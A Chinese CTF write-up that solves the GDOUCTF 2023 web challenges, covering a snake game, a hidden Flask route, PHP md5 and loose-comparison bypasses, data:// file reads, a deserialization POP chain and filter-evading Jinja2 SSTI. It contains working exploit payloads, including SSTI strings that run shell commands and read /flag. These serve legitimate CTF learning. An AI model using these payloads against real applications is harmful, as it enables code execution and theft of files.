[GDOUCTF 2023] ——web方向全Write up
hate eat snake
方法一:手打(这个挺简单的其实)
方法二:一直按空格,多按会,就出了
方法三:控制台输入
Snake.prototype.getScore = () => 100
然后按空格直接就出(佬们太强了)
方法四:调整speed
(麻烦一点)
通过源代码:
window.onload = function() {new Snake('eatSnake',10,false);
}var Snake = function(snakeId, speed, isAuto) {this.width = arguments[3] || 35;this.height = arguments[4] || 35;this.snakeId = snakeId || 'snake';this.Grid = [];this.snakeGrid = [];this.foodGrid = [];this.derectkey = 39;this.goX = 0;this.goY = 0;this.speed = this.oldSpeed = speed || 10;this.stop = true,this.snakeTimer = null;this.isAuto = isAuto || false;this.init();this.timeCounter = 0;this.startTime = 0;
};
可以发现这里有个控制speed的代码
this.speed = this.oldSpeed = speed || 10;
继续看看还有没有控制speed
的代码,通过查找,我们可以看到
clearInterval(this.snakeTimer);
this.speed++;
这里把speed++
删掉
然后在等六十秒就可以获得flag
非预期解:
先死一死()
然后点取消,等六十秒左右,再按空格就会出flag
EZ WEB
f12查看源代码,可以看到hint:/src
,直接访问
会给我们下载一个python文件,点进去查看
可以看出这个通过flask框架写的一个网页,通过代码审计我们可以得知,只需要向/super-secret-route-nobody-will-guess
进行一个put方式的发包就行,利用postman发包
import flaskapp = flask.Flask(__name__)@app.route('/', methods=['GET'])
def index():return flask.send_file('index.html')@app.route('/src', methods=['GET'])
def source():return flask.send_file('app.py')@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():return open('flag').read()
拿到flag
受不了一点
代码审计
<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){$b=$_POST['ctf'];$a=$_POST['gdou'];if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){if(isset($_COOKIE['cookie'])){if ($_COOKIE['cookie']=='j0k3r'){if(isset($_GET['aaa']) && isset($_GET['bbb'])){$aaa=$_GET['aaa'];$bbb=$_GET['bbb'];if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){$give = 'cancanwordflag';$get ='hacker!';if(!isset($_GET['flag']) && !isset($_POST['flag'])){die($give);}if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){die($get);}foreach ($_POST as $key => $value) {$$key = $value;}foreach ($_GET as $key => $value) {$$key = $$value;}echo $f1ag;}else{echo "洗洗睡吧";}}else{echo "行不行啊细狗";}}
}
else {echo '菜菜';
}
}else{echo "就这?";
}
}else{echo "别来沾边";
}
?>
第一层是md5强比较直接数组绕过
,构造payload:
ctf[]=1&gdou[]=2
接下来第二层,是cookie的值,cookie= 'j0k3r'
这里可以利用Cookie Editor(一个浏览器插件),也可以用postman
然后保存,刷新网页,进入下一层
判断aaa,bbb是否存在,并且还让他们都等于114514,而且还不能相等
但是注意一下,这里是双等号(==)
所以,双等号是不要求类型相同的,所以我们可以构造payload
?aaa=114514&b=114514abc
进入最后一层:要进行变量覆盖
选择GET传参,构造payload:
?aaa=114514&b=114514abc&123=flag&flag=123
所以我们可以得到最后的exp为:
http://node1.anna.nssctf.cn:28026?aaa=114514&bbb=114514abc&123=flag&flag=123POST DATA:
ctf[]=1&gdou[]=2&123=flag&flag=123
泄露的伪装
上来啥也没有,直接dirsearch开扫
扫到了test.txt
文档和www.rar
备份文件
访问/www.rar
,会下载文件,打开然后解压
都恭喜我了,那就去访问一下/orzorz.php
test.txt也看过了,里面和/orzorz.php中的内容一样,不过是文档形式,这里不赘述
代码审计:
<?php
error_reporting(0);
if(isset($_GET['cxk'])){$cxk=$_GET['cxk'];if(file_get_contents($cxk)=="ctrl"){echo $flag;}else{echo "洗洗睡吧";}
}else{echo "nononoononoonono";
}
?> nononoononoonono
根据代码审计以及file_get_contents
读取文件内容函数我们可以知道我们需要传入一个文件,里面的内容是唱跳rap篮球
(?)那我们就要利用data://
伪协议
构造payload(这里不知道为什么直接传入ctrl不行,可能是过滤了,只能用base64加密传入):
http://node3.anna.nssctf.cn:28372/orzorz.php?cxk=data://text/plain;base64,Y3RybA==
拿到flag,结束
反方向的钟
反序列化,看代码:
<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{public $name;public $rank;private $salary;public function __construct($name,$rank,$salary = 10000){$this->name = $name;$this->rank = $rank;$this->salary = $salary;}
}class classroom{public $name;public $leader;public function __construct($name,$leader){$this->name = $name;$this->leader = $leader;}public function hahaha(){if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){return False;}else{return True;}}
}class school{public $department;public $headmaster;public function __construct($department,$ceo){$this->department = $department;$this->headmaster = $ceo;}public function IPO(){if($this->headmaster == 'ong'){echo "Pretty Good ! Ctfer!\n";echo new $_POST['a']($_POST['b']);}}public function __wakeup(){if($this->department->hahaha()) {$this->IPO();}}
}if(isset($_GET['d'])){unserialize(base64_decode($_GET['d']));
}
?>
首先构造pop链,通过echo new $_POST['a']($_POST['b']);
我们就可以确定尾巴是school中的IPO函数,那么触发函数的方式就是__wakeup()
魔术方法,然后可以看到__wakeup()中会指向classroom类的hahaha函数,hahaha所需要的变量条件在school类的___construct()
函数中
__wakeup():在反序列化的时候触发该魔术方法
__construct():构造对象的时候触发
所以我们可以得到popchain:
首:classroom::__construct() => classroom::hahaha => school::__wakeup() => school::IPO:尾
再看看各个变量要求的条件,我们可以得出payload,由于最后还会经过base64解密,所以我们构造的时候要进行base64加密:
<?php
class teacher{public $name;public $rank;private $salary;public function __construct($name,$rank,$salary = 10000){$this->name = $name;$this->rank = $rank;$this->salary = $salary;}
}class classroom{public $name;public $leader;public function __construct($name,$leader){$this->name = $name;$this->leader = $leader;}
}class school{public $department;public $headmaster;public function __construct($department,$ceo){$this->department = $department;$this->headmaster = $ceo;}
}$a = new classroom('one class',new teacher('ing','department'));
$b = new school($a,'ong');
echo base64_encode(serialize($b));?>
得到exp:
d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7aToxMDAwMDt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9
OK,正确
通过echo new $_POST['a']($_POST['b']);
可以知道给我们创造了a和b两个参数,所以我们可以进行命令执行
但是这里没有回显,卡住了,查了查资料 用php的内置类SplFileObject来读取文件内容。
由于没有输出,想要读取到文件里的内容要用伪协议。
Post Data:
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php
传入之后得到flag再进行base64解密就行了
<ez_ze>
好狠的过滤!
把`’ [] " _ {{}} \ .都过滤了但是比较幸运的是可以用{%%},看了看他的config和self,发现都可以用
网上找到的通过self来构造payload,不过其中的空格都需要用%0c
代替
# 首先构造出所需的数字:
{% set zero = (self|int) %} # 0, 也可以使用lenght过滤器获取数字
{% set one = (zero**zero)|int %} # 1
{% set two = (zero-one-one)|abs %} # 2
{% set four = (two*two)|int %} # 4
{% set five = (two*two*two)-one-one-one %} # 5
{% set three = five-one-one %} # 3
{% set nine = (two*two*two*two-five-one-one) %} # 9
{% set seven = (zero-one-one-five)|abs %} # 7# 构造出所需的各种字符与字符串:
{% set space = self|string|min %} # 空格
{% set point = self|float|string|min %} # .{% set c = dict(c=aa)|reverse|first %} # 字符 c
{% set bfh = self|string|urlencode|first %} # 百分号 %
{% set bfhc = bfh~c %} # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接
{% set slas = bfhc%((four~seven)|int) %} # 使用%c构造斜杠 /
{% set yin = bfhc%((three~nine)|int) %} # 使用%c构造引号 '
{% set xhx = bfhc%((nine~five)|int) %} # 使用%c构造下划线 _
{% set right = bfhc%((four~one)|int) %} # 使用%c构造右括号 )
{% set left = bfhc%((four~zero)|int) %} # 使用%c构造左括号 ({% set but = dict(buil=aa,tins=dd)|join %} # builtins
{% set imp = dict(imp=aa,ort=dd)|join %} # import
{% set pon = dict(po=aa,pen=dd)|join %} # popen
{% set so = dict(o=aa,s=dd)|join %} # os
{% set ca = dict(ca=aa,t=dd)|join %} # cat
{% set flg = dict(fl=aa,ag=dd)|join %} # flag
{% set ev = dict(ev=aa,al=dd)|join %} # eval
{% set red = dict(re=aa,ad=dd)|join %} # read
{% set bul = xhx~xhx~but~xhx~xhx %} # __builtins__{% set ini = dict(ini=aa,t=bb)|join %} # init
{% set glo = dict(glo=aa,bals=bb)|join %} # globals
{% set itm = dict(ite=aa,ms=bb)|join %} # items# 将上面构造的字符或字符串拼接起来构造出 __import__('os').popen('cat /flag').read():
{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}# 然后将上面构造的各种变量添加到SSTI万能payload里面就行了:
{% for f,v in (whoami|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %} # globals{% if f == bul %} {% for a,b in (v|attr(itm))() %} # builtins{% if a == ev %} # eval{{b(pld)}} # eval("__import__('os').popen('cat /flag').read()"){% endif %}{% endfor %}{% endif %}
{% endfor %}#这里的{{b(pld)}}换成{%print(b(pld))%}
整合最后的payload:
{%%0cset%0czero%0c=%0c(self|int)%0c%}{%%0cset%0cone%0c=%0c(zero**zero)|int%0c%}{%%0cset%0ctwo%0c=%0c(zero-one-one)|abs%0c%}{%%0cset%0cfour%0c=%0c(two*two)|int%0c%}{%%0cset%0cfive%0c=%0c(two*two*two)-one-one-one%0c%}{%%0cset%0cthree%0c=%0cfive-one-one%0c%}{%%0cset%0cnine%0c=%0c(two*two*two*two-five-one-one)%0c%}{%%0cset%0cseven%0c=%0c(zero-one-one-five)|abs%0c%}{%%0cset%0cspace%0c=%0cself|string|min%0c%}{%%0cset%0cpoint%0c=%0cself|float|string|min%0c%}{%%0cset%0cc%0c=%0cdict(c=aa)|reverse|first%0c%}{%%0cset%0cbfh%0c=%0cself|string|urlencode|first%0c%}{%%0cset%0cbfhc%0c=%0cbfh~c%0c%}{%%0cset%0cslas%0c=%0cbfhc%((four~seven)|int)%0c%}{%%0cset%0cyin%0c=%0cbfhc%((three~nine)|int)%0c%}{%%0cset%0cxhx%0c=%0cbfhc%((nine~five)|int)%0c%}{%%0cset%0cright%0c=%0cbfhc%((four~one)|int)%0c%}{%%0cset%0cleft%0c=%0cbfhc%((four~zero)|int)%0c%}{%%0cset%0cbut%0c=%0cdict(buil=aa,tins=dd)|join%0c%}{%%0cset%0cimp%0c=%0cdict(imp=aa,ort=dd)|join%0c%}{%%0cset%0cpon%0c=%0cdict(po=aa,pen=dd)|join%0c%}{%%0cset%0cso%0c=%0cdict(o=aa,s=dd)|join%0c%}{%%0cset%0cca%0c=%0cdict(ca=aa,t=dd)|join%0c%}{%%0cset%0cflg%0c=%0cdict(fl=aa,ag=dd)|join%0c%}{%%0cset%0cev%0c=%0cdict(ev=aa,al=dd)|join%0c%}{%%0cset%0cred%0c=%0cdict(re=aa,ad=dd)|join%0c%}{%%0cset%0cbul%0c=%0cxhx~xhx~but~xhx~xhx%0c%}{%%0cset%0cini%0c=%0cdict(ini=aa,t=bb)|join%0c%}{%%0cset%0cglo%0c=%0cdict(glo=aa,bals=bb)|join%0c%}{%%0cset%0citm%0c=%0cdict(ite=aa,ms=bb)|join%0c%}{%%0cset%0cpld%0c=%0cxhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right%0c%}{%%0cfor%0cf,v%0cin%0c(self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))()%0c%}{%%0cif%0cf%0c==%0cbul%0c%}{%%0cfor%0ca,b%0cin%0c(v|attr(itm))()%0c%}{%%0cif%0ca%0c==%0cev%0c%}{%print(b(pld))%}{%%0cendif%0c%}{%%0cendfor%0c%}{%%0cendif%0c%}{%%0cendfor%0c%}
传入获得flag
方法二:
我是没懂,佬们nb就对了,附上payload
{% print ''|attr('%c%ccla'%(95,95)+'ss%c%c'%(95,95))|attr('%c%cba'%(95,95)+'se%c%c'%(95,95))|attr('%c%csubcla'%(95,95)+'sses%c%c'%(95,95))()|attr('%c%cgeti'%(95,95)+'tem%c%c'%(95,95))(395)('ca'+'t /flag',shell=True,stdout=-1)|attr('communicate')() %}
附上几篇佬们的wp:
B神:GDOUCTF-全方向-WriteUp
https://www.yuque.com/y0ung-tnhmt/iv01oq/oogach8rthc9h7m1#xqBVf
https://mochu.blog.csdn.net/article/details/130188571
[GDOUCTF 2023] ——web方向全Write up相关推荐
- GDOUCTF比赛WEBCRYPTO方向全解!!
前言 本次wp的制作过程耗时比较长,也有一些代码源于大佬师傅们的exp,进行了一定的详细解释,有助于刚开始学习的师傅们可以看的懂,整体是比较细节的,会一步一步带大家去解题,一步步说明为什么要这样解题, ...
- [GDOUCTF 2023]EZ WEB 学习笔记
前言 靶场:[GDOUCTF 2023]EZ WEB | NSSCTF 题目: 看到题目没啥提示,说他保证flag就在附近 我们F12查看源码看看有啥有用的东西 发现了个提示的文件/src 我们打开它 ...
- 2023年最全前端面试题考点HTML5+CSS3+JS
合集:2023年最全前端面试题考点HTML5+CSS3+JS+Vue3+React18+八股文+手写+项目+笔试_参宿7的博客-CSDN博客 本章内容为一面基础面 为了简洁,相关文章参考链接在标题里 ...
- 20220203--CTF刷题WEB方向-- PHP2--考察URL编码解码和修改php后缀为phps
刷题网站:攻防世界 https://adworld.xctf.org.cn/ WEB方向–进阶场–第3题–PHP2 网站右键查看源代码什么都没有 端口扫描:(在这里我用了御剑扫描,并且字典全选了) 访 ...
- 莫纳什大学招收AI/CV/ML/计算生物信息学和生物医学方向全奖博士研究生
点击下方卡片,关注"CVer"公众号 AI/CV重磅干货,第一时间送达 Monash大学数据未来研究院招收模式识别,计算机视觉,计算生物信息学和生物医学方向全奖博士研究生 Mona ...
- 博士申请 | 香港中文大学(深圳)语音与语言实验室招收Speech/NLP方向全奖博士生...
合适的工作难找?最新的招聘信息也不知道? AI 求职为大家精选人工智能领域最新鲜的招聘信息,助你先人一步投递,快人一步入职! 香港中文大学(深圳) 香港中文大学(深圳)语音与语言实验室是国内外知名的研 ...
- 网络安全web方向入门题合集
网络安全web方向入门题合集 [HCTF 2018]WarmUp 验证 [极客大挑战 2019]EasySQL [极客大挑战 2019]Havefun [强网杯 2019]随便注 前期工作 堆叠注入查 ...
- 新加坡管理大学何盛烽团队招收计算机视觉、图像生成方向全奖博士生
点击下方卡片,关注"CVer"公众号 AI/CV重磅干货,第一时间送达 点击进入-> CV 微信技术交流群 博士申请 | 新加坡管理大学(SMU)何盛烽副教授招收计算机视觉. ...
- 《响应式Web设计全流程解析》一1.2 静态设计稿舒适区
本节书摘来异步社区<响应式Web设计全流程解析>一书中的第1章,第1.2节,作者: [美]Stephen Hay 译者: 余果 , 等 责编: 赵轩,更多章节内容可以访问云栖社区" ...
最新文章
- sqlinesdata教程_如何将Oracle数据导入MySQL
- 反应机理_过敏反应的发生机理及表现
- Android中常见的MVC模式
- php3级分类,关于php非递归三级分类输出json数据
- windows下的文件遍历(使用CFindFile)
- 二十一天学通JavaScript:cookie的编码
- ajax应用培训ppt,《ajax培训课件.ppt
- (超详细,避免踩坑)如何使用freeMaker模板生成器处理图片以及文字替换
- 打印机扫描到计算机,打印机扫描文件到电脑方法教程
- 门外汉掌握数据分析处理技术的路线图
- 彼得林奇的成功投资四-投资组合股市大跌时表现
- php幻灯片图片不显示不出来,织梦dedecms默认模板幻灯片无法显示图片的解决方法...
- 阿西莫夫机器人三定律
- 仿真软件测试基尔霍夫定律,实验三 基尔霍夫定律的验证(仿真实验)
- 用瑞利散射解释天空的颜色
- 黑白照片如何变彩色?建议收藏这些方法
- Udemy上最好的JavaScript课程之一,强烈推荐新手入门学习
- 信创蓝海 合作共赢:统信UOS代理商推介会(郑州站)成功举行
- 超越C++标准库:Boost库导论电子书PDF下载
- Python 语言创建 SAP2000 s2k 文件
热门文章
- Dropzone单文件上传、多文件上传、文件夹上传,springmvc接收,上传至Minio的一系列问题
- 【网安神器篇】——hydra爆破工具
- 熊猫党是什么_被熊猫4.0击中是什么感觉
- R语言 : RJDBC 连接 h2数据库,绘基金净值图
- Java ElasticSearch:(五)ElasticSearch 中的 mapping 问题
- pyqtgraph 实现几个功能
- 第三周项目10-小学生计算题的随机生成
- 2019FME博客大赛——基于FME的报备坐标(Excel或txt)与shp转换
- 用HTML5制作的3D相册
- 鸿蒙手机 跳票,不会跳票!华为官宣:鸿蒙手机系统马上就来,对标苹果安卓!...